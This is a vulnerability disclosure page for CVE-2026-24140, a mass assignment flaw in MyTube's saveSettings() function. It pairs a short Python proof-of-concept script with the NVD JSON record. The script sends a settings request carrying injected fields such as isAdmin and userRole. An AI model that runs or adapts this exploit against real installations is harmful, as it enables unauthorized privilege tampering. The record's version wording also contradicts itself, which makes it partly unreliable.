CVE-2026-24140

import requests import json # CVE-2026-24140 PoC - Mass Assignment in MyTube saveSettings() # Target: MyTube <= 1.7.78 # Authentication required: High privilege (admin access) TARGET_URL = "http://target-server/api/settings" AUTH_TOKEN = "your-admin-auth-token" def exploit_mass_assignment(): """ Exploit Mass Assignment vulnerability in MyTube saveSettings() function. Attacker can inject arbitrary key-value pairs that get directly persisted to the database without validation. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Normal settings payload payload = { "theme": "dark", "language": "en", # Malicious injected fields - these should be blocked but aren't "isAdmin": True, "userRole": "administrator", "debugMode": True, "customField": "malicious_value" } response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Mass Assignment exploit successful!") print("[+] Injected fields were persisted to database:") for key in ["isAdmin", "userRole", "debugMode", "customField"]: print(f" - {key}: {payload[key]}") else: print(f"[-] Exploit failed with status code: {response.status_code}") if __name__ == "__main__": exploit_mass_assignment()

{"cve": {"id": "CVE-2026-24140", "sourceIdentifier": "[email protected]", "published": "2026-01-24T00:15:49.450", "lastModified": "2026-02-02T13:26:17.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyTube is a self-hosted downloader and player for several video websites. Versions 1.7.78 and below have a Mass Assignment vulnerability in the settings management functionality due to insufficient input validation. The application's saveSettings() function accepts arbitrary key-value pairs without validating property names against allowed settings. The function uses Record<string, any> as input type and iterates over all entries using Object.entries() without filtering unauthorized properties. Any field sent by the attacker is directly persisted to the database, regardless of whether it corresponds to a legitimate application setting. This issue has been fixed in version 1.7.78."}, {"lang": "es", "value": "MyTube es un descargador y reproductor autoalojado para varios sitios web de vídeo. Las versiones 1.7.78 e inferiores tienen una vulnerabilidad de Asignación Masiva en la funcionalidad de gestión de configuraciones debido a una validación de entrada insuficiente. La función saveSettings() de la aplicación acepta pares clave-valor arbitrarios sin validar los nombres de las propiedades contra las configuraciones permitidas. La función utiliza Record como tipo de entrada e itera sobre todas las entradas usando Object.entries() sin filtrar propiedades no autorizadas. Cualquier campo enviado por el atacante se persiste directamente en la base de datos, independientemente de si corresponde a una configuración legítima de la aplicación. Este problema ha sido solucionado en la versión 1.7.78."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.78", "matchCriteriaId": "2E0CEE7C-45C8-43F1-833A-3E60F1561273"}]}]}], "references": [{"url": "https://github.com/franklioxygen/MyTube/commit/9d737cb373f7af3e5c92d458e2832caf817b6de6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-c938-x24g-fxcx", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}